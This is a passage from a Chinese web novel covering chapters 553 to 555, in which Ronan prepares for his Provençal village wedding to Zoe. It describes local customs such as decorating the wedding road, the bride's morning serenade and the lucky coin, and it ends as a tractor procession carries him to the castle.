罗南对这张照片印象特别深刻,因为拍之前他试探性的问父母——愿不愿意来普罗旺斯过晚年。 罗天海和冯珍觉得罗南在开玩笑呢。 “我开玩笑了吗?你们搬来普罗旺斯,我们一起过的这一年多愉快啊。”罗南把照片拿起来,压抑了许久的情绪终于释放了出来,“愉快到我都舍不得你们了!” 家里突然少了两个人,罗南一时间难以适应。 罗天海和冯珍搬到了新的家里,也需要一段适应的时间。 虽说这里是餐厅的楼上,他们对环境非常熟悉,但没有了罗南,也没有了狗.家里安静的冯珍都不想待。 婚礼之前的这两天,冯珍和罗天海都没有安排班上。 但还没到中午,冯珍就去餐厅抢收银台了。 罗天海也是闲不下来的性格,老婆去了餐厅,他也跟着去餐厅帮忙,两个人忙到下午才有了去楼上歇一会的时间。 “晚上想吃什么?”罗天海知道冯珍有点不适应,想给她做点爱吃的。 冯珍蔫蔫的说: “甭做了,就在餐厅里吃一口得了。” 罗天海用‘马赛小太阳’的语气,霸道十足的说: “那可不行,今天是我们二人世界的开始,必须要做点好的庆祝一下,以前做的都是罗南爱吃的,今天你点菜。” “累了累了。”冯珍离开餐厅,走向通向二楼住所的楼梯,“我先上去躺会,醒了再说吧。” “行,那你先歇会,一会再点菜。”罗天海紧随其后。 冯珍推开冰冷的新家房门,一眼就看到了在门口趴着的马赛。 她正要惊呼出口,又看到了从客厅里跑出来的小黑和玛格丽特。 “哎呀呀,宝宝们,宝宝们怎么来啦?”冯珍左扭右转,一一抚摸兴奋到上蹿的三只狗子。 “罗南来了?”罗天海难掩激动的问。 话音刚落,罗南也从客厅的方向走出来,一见面就劈头盖脸的‘指责’: “背着我偷偷把家搬了,你们可真行!” 冯珍自知理亏,不敢看罗南,低头继续逗狗: “马赛宝宝想我了是不是?小黑想我了是不是?玛格丽特也想我了对不对,你们都搬来,都搬来我这里!” 罗南理直气壮的说: “不是它们想你了,是我想你们了!想把我甩了没门!以后我天天拖家带口来这找你!” 罗天海赶紧逃离现场: “我去做饭,你们聊,你们聊。” “做什么饭啊,我都‘带来’了。”罗南转身回去,“冰箱里塞那么多东西我和佐伊得吃到猴年马月去,一起吃,结婚之后家里多了一个人只能更热闹,冷冷清清的我可不同意。” 第553章 吕贝隆婚俗 罗天海和冯珍离开家乡时年纪还小,能记住的中式婚礼习俗已经不多,佐伊是卢尔马兰人,婚礼的举办地也在这里,所以入乡随俗,罗南和佐伊的婚礼按照当地习俗办了。 宗教原因,沃克吕兹省对新人的结合和新生儿出生非常重视,在这里举办婚礼有许许多多的有意思‘门道’。 婚礼前一周,佐伊带领斯特斯加的伙计们,还有艺术家把卢尔马兰城堡装扮了一番。 但婚礼期间要装扮的不只是那一个地方。 婚礼前一天。 天刚蒙蒙亮,罗南就被闹钟的声音所吵醒。 按照普罗旺斯习俗,婚礼举办前一天要布置‘婚路’,就是装饰新郎和新娘家到婚礼举办地的这一条道路。 这个习俗只能在婚礼前一天做,而且必须在太阳的见证下。 为了准时准点并完美的完成这个习俗,罗南一大早就要出去干活了。 前一天,康奈尔等伙计们帮助罗南准备好了松枝、柏枝、鲜花和彩带,就堆放在了门口最显眼的地方。 可当罗南吃完了早饭,推门出来发现东西少了一大半。 “我东西呢?”罗南快步跑过去查看情况,惊讶到无法附加,“不是.这种东西也有人偷吗?” 近期卢尔马兰出现了几起盗窃事件,都是外地游客干的。 罗南之前也考虑过这些东西放在室外是否安全,但松枝和柏枝这些东西哪里都有,谁会偷它们啊? 这不是吃饱了撑的? 没想到.这些‘破烂’还真就‘不翼而飞’了。 他正要回去给康奈尔打电话,让他赶紧去准备新的补上,忽地听到身后的柏油马路尽头传来了‘千军万马’的声响,紧接着转弯处跑出来了十几个半大的孩子,男孩女孩都有。 年纪大的身后背着书包,年纪小的也就刚过穿开裆裤的年纪。 这些孩子气势汹汹的跑过来,不由分说,每个人拿起一些门口的松枝、柏枝、鲜花和彩带就往回跑。 罗南叫不全所有孩子的姓名,但曾经举办过卢尔马兰杯‘看谁的鱼憋气最久’比赛的阿勒希尔他挺熟悉的,婚礼上的鱼都将由他爸爸提供。 “等等,等等!”罗南揪住了阿勒希尔的书包,“你们拿这些干什么?” 阿勒希尔回答道: “布置婚路啊。” 罗南哭笑不得的说: “村里那么多大人,哪用的着你们帮忙?快放下吧,赶紧上学去。” 婚礼前这段日子,卢尔马兰村民尽心尽力的给罗南提供了许多帮助.但孩子们也上阵太夸张了吧? 阿勒希尔仰着脑袋说: “布置婚路会给年轻人带来好运气,尤其是没有结婚的我也想找到像你一样的美丽妻子。” 不等罗南反应,阿勒希尔像‘鱼’一样从罗南的手中‘滑’走: “快放我离开,校车就要到了!布置完婚路我还要去上学呢。” 罗南无语的对着他喊: “你也知道还要上学啊?” 才多大,就想着娶老婆的事情了?! 话音刚落,一个‘小豆丁’扯了扯罗南的裤脚: “罗南叔叔,彩带没了,我想要彩带。” 罗南一把将这个看起来也就五六岁的女孩抱起来: “你也要来帮忙吗?” 这名缺了一颗门牙的小女孩红着脸说: “妈妈说,帮助你布置婚路,能够获得和你一样的好运,妈妈说你是卢尔马兰最幸运的人,我早上4点多就起来等着啦!” 按照吕贝隆乡村的说法,帮助新人布置‘婚路’可以获得这对新人一样的好运,如果是没结婚的,还有一层寓意是可以像这对幸福的新人一样,找到可以白头偕老的另一半步入婚姻殿堂。 罗南和佐伊绝对是卢尔马兰最幸运的两个人,他们之间的爱情也让人羡慕不已.几乎每一个年轻人都想要来沾沾喜气。 还不到上午8点,从罗南家到卢尔马兰村中心这一段的婚路就布置的七七八八,估计再有两个小时,可以顺利的铺到城堡。 罗南拿着鲜花和松枝加入了干活大军,不一会,听到不远处吵起来了。 “亨利,你这老东西怎么也来了?”特奥也来给罗南帮忙,在路上发现了正在插松枝的亨利,控制不住奚落了两句,“丽莎都到了要结婚的年纪,你难道还想要娶第二任妻子吗?” 亨利唾沫横飞的骂回去: “闭上你的嘴巴特奥!罗南先生今天要忙的事情很多,我来帮忙怎么了?反倒是你,谁知道你打的是什么主意,居然也来抢年轻人的活儿干。” 特奥回怼道: “就你知道帮忙?卢卡斯正带着人在佐伊家那段婚路布置呢,论兄弟我们哥仨才是最好的!” 亨利和特奥斗嘴已经是‘保留节目’,罗南清楚他们俩不会在大喜的日子真打起来,过去起了个话题打断他们: “奇怪,我没在路上看到任何一个女生,她们是去佐伊家到城堡那段了吗?” 罗南一早上只看到了几个小女孩,年纪大一点的女生一个都没看到。 如果说,这是当地习俗,不可能只有男生来沾喜气啊。 女生就不想找个好的归宿了吗? 特奥嘻嘻哈哈的说: “当然不是,估计全村年轻女孩现在都去佐伊家了,今天她可比你这个新郎忙多了。” 罗南家到卢尔马兰城堡这一段婚路布置的非常顺利,等这边干完,全村的年轻小伙子会转移阵地去布置佐伊家到城堡那一段。 罗南好奇新娘子今天要忙什么,顺着婚路走到了佐伊家。 普罗旺斯没有新郎新娘在结婚前不能相见的习俗,这几天罗南和佐伊天天见面。 新娘这边的婚路和新郎那边没有什么差别,但距离佐伊家还有一段距离时,罗南听到了隐隐约约的唱歌声。 又走了一阵子,佐伊家熟悉的老房子出现在眼前,门口站了几个姑娘,像是在排队。 “里面在干什么?”罗南问队尾的女生。 那女生见罗南来了,侧过身子让罗南进去: “在送‘祝福’呀。” “祝福?用唱歌的方式吗?”罗南又见识到了新的有趣习俗。 那女孩笑着解释: “按照当地习俗,结婚前一天的早上,年轻女孩要在新娘的窗前唱歌,并送上最美好的祝福,这对双方来说都是一个好兆头呢。” 罗南点了点头,进入了院子,发现此刻在里面唱歌的人居然是希尔维,并且她在用普罗旺斯方言演唱。 演唱的歌曲是一首在当地非常经典的民歌,叫《最好的勒内王》,歌词赞颂15世纪深受普罗旺斯人爱戴的安茹公爵勒内一世,这首歌经常在各种普罗旺斯节日和庆祝活动中被演唱。 一曲唱毕,屋内的佐伊说了几句感谢的话,之后希尔维站到了窗户一侧,后面的女生顶了上来,她演唱的同样是方言歌曲,但曲目变成其他,不过同样是在节日和庆祝活动时演唱的。 希尔维送完祝福打算离开,一扭头看到罗南来了,便停下和他聊了两句。 “来送祝福的人太多,差点就要迟到了!”希尔维指着手腕对罗南说。 罗南笑着说: “那就晚点再来呗,中午休息的时候。” 希尔维咂巴了几下嘴: “这你就不懂了,这个习俗只能早上做,而且我祖母结婚的那个年代,需要在太阳还没升起的时候唱,中午就错过时间了。” 罗南努力措辞道: “需要在那么早就送上祝福吗?” 希尔维看了一眼时间,确认给罗南讲完课应该也不会迟到: “这个习俗的名字叫‘晨歌’,最初的样子是日出前女孩们在新娘家的窗户下唱歌,用歌声唤醒她并送上祝福,但很多习俗慢慢消失,保留的也渐渐变了样子,现在时间没有那么严格,早上也行。” 罗南点了点头,有感而发道: “普罗旺斯的婚礼习俗真多啊。” 这才是结婚前一天呢,明天的规矩不得更多啊? 希尔维露出一副遗憾的样子: “现在保留下来的只有很小一部分,几百年前,吕贝隆的婚礼要整整举办7天,每天都有许多要做的事情,行了我不和你说了,上班要迟到了。” 目送希尔维离开,罗南步入了佐伊家。 门口唱歌的人一个接着一个,新娘子要不停的说感谢的话。 进入屋内,罗南才发现,新娘子要忙的可不只是这一件事情。 最近罗南和佐伊时常见面,但地点都不是佐伊家。 才几天没来而已,这所之前就已经被佐伊‘买买买买’搞得拥挤不堪的房子变成了一个更加‘拥挤’,但却温暖热闹的‘生活杂货铺’。 餐厅那张可以容下十几人同时用餐的桌子被堆迭得几乎看不见桌面。 厚实的亚麻桌布码了一米多高,每一块都带着漂亮的普罗旺斯印花或素雅的镶边,旁边是用牛皮纸包裹着的沉甸甸的成套餐具,有几张牛皮纸的缝隙里漏出了闪闪银光。 沿着墙壁的地板上是一个挨着一个的藤篮,里面塞满了各种形状、各种大小、各种颜色的布类。 整个客厅中最恐怖的区域就是沙发。 一组大沙发和两个单人小沙发几乎被像山一样高的绣被所掩埋,佐伊站在它们旁边像是袖珍的迷你娃娃。 “这些不会都是村民送的吧?”罗南只能想到这一个可能。 “谢谢罗瑟夫妮!”又接收到了一份祝福,佐伊去窗口送去了感谢,随后才回答罗南,“是的,而且这只是一部分,爸爸妈妈的卧室、我的卧室和维埃里的卧室里还有许多。” 罗南努力挤出一个微笑: “至少还有工作室可以放东西,那里能放不少呢。” 今天才刚开始,应该还会有人来送礼物。 维埃里的脑袋从绣被侧方探出: “佐伊的工作室比这里乱上一万倍!” “啊?”罗南求助的看向佐伊,“东西不是都搬去我那里了吗?” 佐伊像是要晕过去一样,扶着额头对维埃里说: “真是谢谢你,我刚把这件事忘掉,你能不能不要再提醒我,我的工作室彻底‘爆炸’了!” 几分钟后,罗南见到了‘爆炸’之后的工作室。 一点不夸张的说,这里像是被导弹光顾过一样。 墙上飞溅了许多不知名液体,地上全部是木头渣子和奇奇怪怪的零件,两张佐伊没有搬走的工作台,一个少了一条腿,一个台面黑漆漆的一片,像是有什么东西在上面点燃过。 而路易此刻正坐在这个焦黑一片的工作台旁,带着老花镜,以握刀叉的姿势握着刻刀在一个箱子上雕刻着什么。 “你在干——” 罗南的出现吓了路易一跳,刻刀和木板激烈摩擦,发出让人牙酸的不适噪音。 两个人同时发出惊恐的嚎叫。 “你在干什么?”罗南强忍着不适走入这间如修罗场一样的工作室。 路易摘掉老花镜,语速飞快的说: “在给佐伊做‘希望之箱’,这里面要放新娘家人给新娘准备的嫁妆,按照普罗旺斯习俗,‘希望之箱’必须由新娘的父亲亲自制作。” 路易是那种什么都不干都能闯祸的性格,由他来制作一个箱子,恐怕真的能把这个工作室炸了。 罗南耐心的劝解: “刚刚希尔维告诉我,习俗可以稍做修改,明天我们就要举行婚礼了,还有许多事情要做,而且那些都需要你的帮忙,不如我们暂时把希望之箱放下,去做点别的?” 规矩是死的,人是活的啊,伙计。 何苦要为难自己,也为难他人呢? 路易固执的戴上老花镜,闷头继续刻木板: “原来我想要在箱子上雕刻佐伊的第一个作品,就是那只鹿你记的吧?但我现在做了简化,要刻你和佐伊的简笔画,你看,你们两个的轮廓都画好了,只差一些细节,很快就好,很快就完成了真的。” “那我教你用刻刀吧,别伤到自己。”罗南没有再阻拦。 他理解一个父亲想要为女儿做些什么的心情。 但这样拿刀可不行啊。 “不会伤到自己的。”路易头都没抬的说,“吃一辈子饭了,我天天和刀打交道。” “滋啦——”令人汗毛倒立的牙酸噪音再次出现,罗南想都没想就逃离了现场。 对,你是不会受伤。 受伤的是那块可怜的木板! 关上工作室的门,罗南对不肯进去一步、只在门口等待的佐伊说: “想个办法让路易停下吧,他那样拿刻刀太吓人了。” 上帝,他是如何在那种牙酸的声音下坚持这么久不逃跑的? 佐伊双手抱胸,眉头微皱: “我现在没有时间顾及那边。” “今天还有什么习俗要做吗?”罗南追问。 佐伊叹了一口气,一字一句的说: “得想想如何在明天把村民送的那些礼物搬去你家,按照普罗旺斯习俗,亲朋好友送来的结婚礼物也是‘嫁妆’的一部分,要跟着新娘一起去新家我们原本的打算是步行去城堡,现在多出了这么多‘嫁妆’,是不是要改一种方式了?” 第554章 去吧,去把佐伊娶回来 卢尔马兰村就那么大。 从佐伊家走去城堡不超过10分钟。 以往村子里的年轻人结婚,新娘和新郎会步行去往结婚场地,身后跟着父母和朋友,沿途会跟着看热闹的村民。 之前预设中的嫁妆除了需要由新娘父亲亲自制作的‘希望之箱’,还有一些日用品,维埃里和艺术家们拿上就走。 村民们的热情让事态变得‘复杂’起来,明早佐伊去教堂最好坐着载具,这样才能避免让送行队伍看起来像是去‘送货’的。 “而且不止一辆载具。”罗南在佐伊家转了一圈,发现要拉去新家的礼物可真够多的。 他再次确认道: “这些东西必须要明早跟着你一起走吗?” 佐伊无奈的说: “是的,按照吕贝隆习俗——” 话刚起了个头,波热推门而入。 她手里拎了一个篮子,上面盖着古朴花纹的布料,招呼都没来及打,先把篮子塞到佐伊手里: “送给你和罗南的礼物,一套餐具,我知道你可以自己做,但餐具寓意‘人丁兴旺、宾朋满座’,记得明天带着它们一起走,这会让你们的家庭和睦。” 在重视家庭聚餐的普罗旺斯文化中,共进餐食是家庭和睦的核心仪式,餐具代表的正是这个寓意。 赠送绣被或厚羊毛毯,寓意新婚夫妇‘同衾共枕,身心相融’,在乡村传统中,这是对‘成为一体’最含蓄而庄重的祝福。 赠送蜡烛或者烛台寓意热情永不熄灭。 香皂寓意夫妻需共同面对生活的污浊,涤净烦忧。 赠送陶罐或者果酱罐隐喻夫妻间的甘苦与共。 可以说这些礼物已经脱离了生活用品的范畴,变成一个个‘护身符’,将保护着罗南和佐伊的婚礼永远幸福。 ‘护身符’必须得跟着新人一起,要不然就起不到作用了。 波热离开,罗南和佐伊继续探讨刚刚的话题。 “下午得找去几辆车子。”佐伊有些头疼的说,“而且得找几个脾气好的司机,旅行季在卢尔马兰村里行驶需要一个好脾气。” 街道窄、行人多,游客们可不管后面的车队是去干什么的,没拍完照片、没看够才不会离开原地呢。 步行过去都需要有人专门开路,开车可能比步行的速度还慢。 罗南提出了另外的担心: “这些车子的外形最好统一,要不然不好看。” 城里人结婚的车队,从车型到颜色都是统一的。 村民们开的都是老爷车,哪个牌子、哪年出厂、哪个车型的都有,很难统一,而且几十年过去,就算有一样的车子,也早就面目全非了。 即使去周围几个村子借,也几乎不可能解决这个问题,而且找来几辆三十年的雪铁龙两厢也不行啊.这可是结婚,对车型也有要求,必须得镇住人才行。 还有半天就要结婚,突然出现一个棘手的问题,必然让佐伊变得焦虑。 但我们亲爱的佐伊奉行‘拿钱办事’原则,拿起电话就要打给歌迪亚,让她去阿普特或者马赛租车去,无论花多少钱都行。 罗南让她先别着急,给出了他的建议: “其实在卢尔马兰,可以快速找到一种车型统一,看起来还唬人的载具就是不知道你们当地有没有人是这样办的。” “驴?”佐伊很认真的回答,“以前有人骑驴结婚,但你会骑吗?” 先不说驴和他们明天的礼服是否搭配 佐伊可以骑驴,但罗南不行啊。 他到普罗旺斯后,连驴都没喂过,更别提骑它们了。 佐伊可不想在婚礼前先给宾客们表演一出‘美女救英雄’的大戏。 罗南咂了一下嘴,被佐伊的脑回路逗笑了: “我说的是拖拉机!” 卢尔马尔有一半的村民家里都有拖拉机,想找出外形一样的很容易,在普罗旺斯一共就只有那么五六个常用机型。 拖拉机承载量大,两辆就可以把这些‘护身符’拉走,而且他不信游客敢挡在拖拉机前。 那东西又高又大,看起来压迫感十足,开路的效果一绝。 “拖拉机?”佐伊也被罗南的脑回路震惊到了,“拖拉机和婚礼?” “拖拉机好啊,拖拉机可太好了,这是哪个小可爱想出来的道具?” 婚礼现场必须要留下些人生照片,佐伊和罗南毫不犹豫的选择了哈基米。 哈基米在前一天中午就抵达了卢尔马兰,开始婚礼的记录工作,吃饭的时候听到罗南和佐伊讨论拖拉机的话题,马上鼓起掌来,一副摩拳擦掌的样子。 罗南像是被老师点名表扬的小学生,举手说: “是我想出来的!” “你这个创意太棒了!”哈基米有些遗憾的说,“拍婚纱照那天我就想让你们拍一组和拖拉机同框的,但那天没有‘捡’到道具,这次好了,婚礼时补上!” 佐伊表情不太自然的问老同学: “你确定拖拉机出现在婚礼上是好看的?” 哈基米猛猛点头: “当然,你们的婚礼充斥着浓郁吕贝隆乡村元素,拖拉机是乡村生活中必不可少的道具,它在婚礼中出现怎么会突兀呢?不仅不突兀,还会成为点睛之笔啊。” 婚纱照和山羊赛跑大赛两次合作,让佐伊对哈基米的能力非常肯定,他绝对是一个乡村拍摄主题的大师。 乡村大师说拖拉机是点睛之笔.那就用拖拉机吧。 “我负责找拖拉机!”罗南主动承接下了准备座驾的重任。 ‘婚车’这么重要的道具,那必须要用最新最好的。 罗南上上个月给斯特斯加买了一辆全新的,皮埃尔又从另两个农夫那弄来两台成色不错的,罗南还想要全新的机器,卢尔马兰没有合适的,老大哥卢卡斯托朋友在戈尔德和博尼约找到了。 下午,卢卡斯开车带着特奥等几个伙计亲自去给罗南接拖拉机去。 留在卢尔马兰的罗南也没闲着。 两条‘婚路’已铺设完毕,新郎这边今天的任务全部结束,他带着康奈尔还有亨利在家门口洗拖拉机,一定要洗到在太阳的反光下闪眼睛才行。 下午3点多,第一辆外村拖拉机抵达卢尔马兰,开拖拉机的人是特奥,但拖拉机上传来的叫喊声却不是特奥的声音。 罗南踩到拖拉机上,远远的望过去,待分辨出发出声音的人,一把将手里的刷子和抹布扔掉,兴奋的跑了过去。 “托尔!你来了!!” 罗南的婚礼,托尔怎么可能缺席? 只不过因为他在复活节和劳动节前后用完了全部的假期这次只能提前一天到。 但他时常打电话来询问罗南的婚礼情况,还非常遗憾没有参加到城堡的布置里。 托尔傻笑着站在拖拉机上,两只手快速飞舞起来: “我来了!我又来了!” 特奥一手夹着烟,一手掌控拖拉机方向,笑着说: “我在村口遇到了你这个同学,怕他又贪玩不肯来找你,把他带回来了,今天的卢尔马兰可比复活节那时候有意思多了。” 这两天卢尔马兰处处喜气洋洋的,连游客都知道这里将有喜事发生。 特奥将拖拉机停好,托尔马上跳下来,手舞足蹈的对罗南说: “村里有许多彩带和装饰物,特奥说这些都是为你的婚礼而布置的,这太有意思了,巴黎的新人结婚不是这样的。” 罗南接住托尔的行李箱,迫切的带他进入屋子里: “普罗旺斯的结婚习俗可多了,我慢慢讲给你听,你先跟我进来试试伴郎服,不适合我叫哈基米过来改尺寸。” 托尔的兴趣被那几台拖拉机勾走了,径直走了过去: “你们在洗拖拉机吗?我帮你们一起。” 上帝,在巴黎可没有洗拖拉机的机会。 罗南哭笑不得的劝他: “先试试衣服再去‘玩’吧。” 托尔拿起了罗南之前使用的道具,模仿着亨利的样子干起活来: “肯定能穿进去,你放心,我最近减肥了。” “你减肥?我不信!”罗南可太了解托尔那张嘴了,他就喜欢吃高油高糖高热量的食物。 饮食习惯和性格和小孩子一模一样的。 你见过哪个小孩能管住自己的嘴? 托尔回过头来,对罗南露出憨实的笑容: “最好的朋友邀请我当伴郎,我减肥了两个月呢。” 罗南想说点什么,但柏油马路的尽头再次传来拖拉机的突突声——又有一辆‘婚车’来了。 他还没有看清拖拉机的样子,先听到了一道兴奋的招呼声: “这就是佐伊未来的家吗?” 坐在拖拉机上的除了杜马,还有从瓦朗索勒远道而来的铁艺艺术家赫黛利。 “赫黛利?你今天就来了?”罗南意外的迎上去。 赫黛利跳下拖拉机,笑着说: “是啊,我和佐伊的其他同学们都是今天到,明天到可就来不及了。” “罗南!我来了!”这边罗南还没和赫黛利打完招呼,一辆紫色的跑车呼啸而至。 驾驶室里坐着的是一身名贵西装的糖果大王加布里埃尔。 罗南低下头去,更加意外了,瞪大眼睛问; “你也今天来了?” 加布里埃尔走下车子,给了罗南一个巨大的拥抱: “当然了我的朋友,我已经迫不及的要见证我们的新郎步入神圣的婚礼殿堂啦!” 托尔、赫黛利、加布里埃尔、佐伊的同学们、外地的艺术家朋友、F1大奖赛期间结实到的普罗旺斯名人. 这些或熟悉或只有一面之缘、或同行或八杆子都打不到一起的人,陆续在前一天抵达卢尔马兰,同时出现在罗南的生活里。 罗南终于意识到——他人生中最重要的一天.真的要来临了。 婚礼前一夜,是皮埃尔等几个农夫和托尔陪着罗南度过的。 按照普罗旺斯习俗,明天一早,新郎最好的男性朋友要给他佩戴一枚名叫‘转机’的硬币。 这枚硬币要放进新郎礼服内衬衣的口袋里,它的寓意是——即使新郎在未来失去一切,依然拥有‘转机’,可以东山再起,这是对男性未来经济稳定和好运的护身符。 普罗旺斯的其他婚俗改的改,没的没,但这个习俗一直保留至今,并被严格遵守。 但这帮朋友全部认为自己是罗南最好的那个朋友,拥有给他佩戴‘转机’的权利,怕对方抢了先机,全部留在罗南家过夜,等待明天的这个重要时刻的到来。 明天是罗南人生中最重要的一天,前一夜不能喝太多酒,一帮大老爷们就围在一起聊天谈心。 见罗南不加入他们的讨论,始终沉默不语,皮埃尔笑着问: “想什么呢。” 康奈尔坏笑着抢先回答: “罗南肯定在想,赶紧到明天,赶紧把婚礼完成,赶紧把佐伊娶回家!” 特奥用一副‘过来人’的语气说: “这你就可想错了,罗南一定在为自由而苦恼,有些地方婚礼前一夜要为新郎举行‘单身派对’,让他们再呼吸最后一口自由的空气,因为之后就呼吸不到了,只是吕贝隆不流行这个风俗罢了。” 罗南用手指沾了一点酒,在桌子上胡乱的画着: “现在的感觉很神奇,既希望时间快点过去,把佐伊赶紧娶回来,又希望时间能慢一点、再慢一点,让我有时间可以好好感受这一刻。” “这一刻怎么了?”托尔瓮声瓮气的问: 罗南笑着回看他: “就是形容不上来才觉得神奇,紧张?兴奋?迷茫?忐忑?期待?似乎都有,但又不全是,我长这么大,第一次有这种感受。” 皮埃尔笑着拍了拍罗南的胳膊,让他放松下来: “但这恐怕不是你人生中唯一一次有这种感受,我猜当你成为父亲的那一天,这种奇怪的感受说不定会再次光临。” 罗南耸肩,不置可否的说: “也许吧?谁知道呢,也许过完了明天,我的这种感受就可以具象出来了。” 突然,他兴奋的提议: “打会牌吧?不能喝酒,我又睡不着,干坐着多没意思。” 罗南从来不参与村里的‘赌局’,但他今晚就是想做点什么分散注意力。 但这一次,所有人都否决了他的提议。 特奥和康奈尔一人架起罗南的一只胳膊,将他抬上楼去: “除了今天,哪天我都奉陪到底,你必须去休息了,明天会过的像打仗一样累,相信我,说不定你会后悔为什么没有在晚上7点就去休息。” 托尔跑去厨房: “我去给你热一杯牛奶。” 喝了热牛奶,罗南拒绝了特奥要给他讲‘睡前故事’的恐怖提议,瞪着眼睛躺到了床上。 他是枕头的奴隶,可今天死活睡不着。 翻来覆去半个多小时,眼看着时间在白白流失,他必须做些什么。 在门边听到楼下的农夫们还在吹着牛批,托尔笑的开心无比,没人留意他这个新郎,于是蹑手蹑脚的来到之前父母的房间,这里也有一个座机。 罗南说不清现在的复杂情绪有哪些。 但他肯定,造成失眠的原因之一是由于——他想佐伊了,非常想。 想她的人,想她的声音,想将她抱在怀里。 拿起听筒,播出那个熟悉的号码,刚响了一声就被人接起。 “你那边还好吗?”佐伊像是魔术师一样,预判出了来电话的人。 “楼下那帮人挺好,但我不太好。”罗南揪着电话线说,“我失眠了。” 电话那边传来几个女孩毫不克制的笑声,佐伊的最后一个单身之夜也有最好的朋友们陪伴。 罗南用商量的语气问那边: “女士们,能把我的未婚妻还给我几分钟吗?” “不可以!”至少有五六个女声同时出现,并异口同声的说着,“明天佐伊就是你的了,但现在她是我们的!” “好了,别闹了。”罗南在一片女声里清晰的捕捉到了佐伊的声音,眼前似乎出现了她说话时的表情,“我现在也是罗南的。” “啊啊啊,佐伊,你好恶心!”不知道是谁尖叫着喊了一句,电话那边变得嘈杂无比——有笑的,有叫的,有鬼哭狼嚎的。 随后罗南听到了佐伊直白、认真又让人无比心安的声音: “快去睡觉,明天醒来把我接回去,之后每一个日日夜夜我都不会和你分离。” “快睡觉,醒来把佐伊接回去,日日夜夜不再分离”罗南不知道他最终是几点睡着的,但睡之前想着的始终是这几句。 第二天一早。 苦苦等了一夜的农夫们的梦想全部落空——他们谁都没有抢到给罗南佩戴‘转机’的权利。 卢卡斯一大早就来到罗南家,指挥着农夫们做最后的准备,待罗南穿好礼服,他将一枚面额为10法郎的金币放到了罗南的口袋里。 1960年,法国开始进入新法郎时代。 硬币以镍合金、镍和铝为主。 这枚金币是于1900年发行的拿破仑金路易变体,在1987年一枚价值好几千新法郎,是妥妥的收藏品。 而卢卡斯就这样给罗南包成‘幸运物’了,看的旁边的特奥直咧腮帮子。 送完‘转机’,卢卡斯在罗南的脖子上捏了几下,推着他出门: “去吧,把佐伊娶回来!” 第555章 请允许我小小的‘调皮\’一下 新郎这里一切准备就绪,拖拉机停在罗南家门前的葡萄园里,随时可以启程。 但新娘今早要遵循的乡村习俗比较多,妆发也更加耗时。 根据‘探子’来报,此刻佐伊家弥漫着咖啡和烤面包的香气,还在进行着早餐的流程.让新郎和伴郎们别着急,再等一等。 罗南昨天夜里就兴奋的睡不着,今早起来更是安静不下来了。 虽然已换好了衣服,还是亲自带着马赛和呼呼去‘联络感情’,并跑的不亦乐乎。 托尔很贴心的给大家准备了茴香酒和葡萄酒,还切了新鲜的水果。 此刻,几十个身穿西装的男宾正喝着晨酒,吃着水果观赏新郎的晨间活动呢。 每天坚持运动,让罗南道身材变得更加健硕和匀称,配上哈基米带来的定制礼服身材棒极了。 你别说,这个婚礼的第一个‘节目’还挺赏心悦目的。 婚礼的伴郎由托尔和康奈尔担任,他们两个和罗南一样,一大早换上了哈基米带来的定制礼服。 其实一开始伴郎有三人,除了以上的两位还有巴蒂。 可巴蒂坚持说自己是‘娘家人’,要留在佐伊家帮忙。 要不是性别不允许,且哈基米能力有限,实在想不出男伴娘要穿什么衣服.巴蒂肯定要进‘伴娘团’和女孩们贴贴了。 但遗憾的是,剩下的两位伴郎体型都不算消瘦,和罗南站到一起,看起来像是两个图层的。 特奥看了看自己身边的康奈尔,用嘲笑的语气说: “你们两个不像伴郎,更像是罗南的两个‘仆从’。” 特奥因已婚身份痛失伴郎,只能穿自己的西装,现在可有机会‘报复’一把了,他展示起二头: “如果是我,穿上你这身礼服,一定和罗南帅气的不相上下。” 康奈尔对此也很无奈,努力调整衣服让自己看起来‘帅气’一些的同时,自嘲的说: “你甚至不愿意说我们是罗南的‘保镖’,而是仆从,是因为‘保镖’另有其人了么?” 树荫下,身穿黑西装、头戴黑墨镜的卡福带着几十个西装暴徒也在欣赏新郎的‘晨间活动’。 要不是知道这些人是干什么的,陌生人说不定会以为这里在上演普罗旺斯版本的‘教父’。 这帮人站到一起气势可太足了。 “那帮大块头当不了伴郎,会吓到客人的。”特奥犀利的点评。 卢卡斯把手里的烟扔掉,指着脚下两个小家伙其中之一说: “这样看下来,小黑挺像是伴郎的。” 今天一早,罗南给小黑换上了‘礼服’,给玛格丽特梳了一个可爱的‘小啾啾’,把它们打扮的跟童男童女似的。 玛格丽特本身就高贵,做了个发型在高贵之余多加了一丝俏皮,但还是女王气势。 可穿上了衣服的小黑,马上从穷屌丝变高富帅了。 你别说,这么一打扮,卢卡斯看这个‘女婿’都变顺眼了,摸乖女儿的同时,会抽空也摸摸它的头。 这情况在之前可没有。 “小黑今天真帅啊”康奈尔语气复杂的说。 狗都这么帅气,我怎么就不行呢?! “准备出发,巴蒂打电话来,说佐伊那边差不多了!”皮埃尔站在罗南家门口对大家喊。 罗南听到声音,带着马赛和呼呼回来,结束了晨间运动。 今天的婚礼主打一个——谁都不能少。 呼呼、马赛、小黑和玛格丽特也要跟着罗南和男宾一起去城堡参加婚礼。 见罗南拉起狗和羊就走,没有给他们准备装饰和衣服,特奥好奇的问: “只给小黑和玛格丽特打扮?你怎么还区别对待呢?” 罗南将外套穿好,回头意味深长的说: “因为它们今天有任务。” 以前卢尔马兰有新人结婚,新郎和男宾都是步行前往婚礼举办地或者去新娘家(两种方式都有),今天罗南要坐着拖拉机去城堡男人们都激动坏了,这可太‘浪漫’了。 驾驶拖拉机的亨利拿出了压箱底的西装,还精心的打理了胡子和头发,要不是那个半永久的船长帽实在太标志,大家都快认不出这人是谁了。 亨利今天牛气哄哄的,见谁都抬着下巴。 ‘婚车’由他来驾驶,这何尝不是一种宠幸和信任呢? “我将和罗南先生并肩享受村民的沿途祝福!” 亨利的梦想泡了汤。 罗南爬上拖拉机后,五六个人也跟着爬上来,他们拥挤的站在驾驶室的两侧。 “下去,你们下去!”亨利大声抗议。 皮埃尔伸手打着了机器,并坏笑着说: “快走吧伙计,别让佐伊等太久!” 拖拉机上吵吵闹闹的。 拖拉机下面,那些没有挤上去的人更加吵闹——说话声、斗嘴声、欢笑声大到把拖拉机的‘突突’声都盖过。 亨利也不甘示弱,别管前面有没有人都会摁几下喇叭。 听到喇叭声,村民们知道罗南来了,跑出家门加入队伍,一起去教堂,队伍愈发壮大,气氛愈发热闹。 游客们知道这里来了个不好惹的大家伙,纷纷退让,前途畅通无阻。 顺利驶过拥挤的核心区域,城堡就在眼前。 突然,罗南听到后方传来比这里还要大的‘动静’。 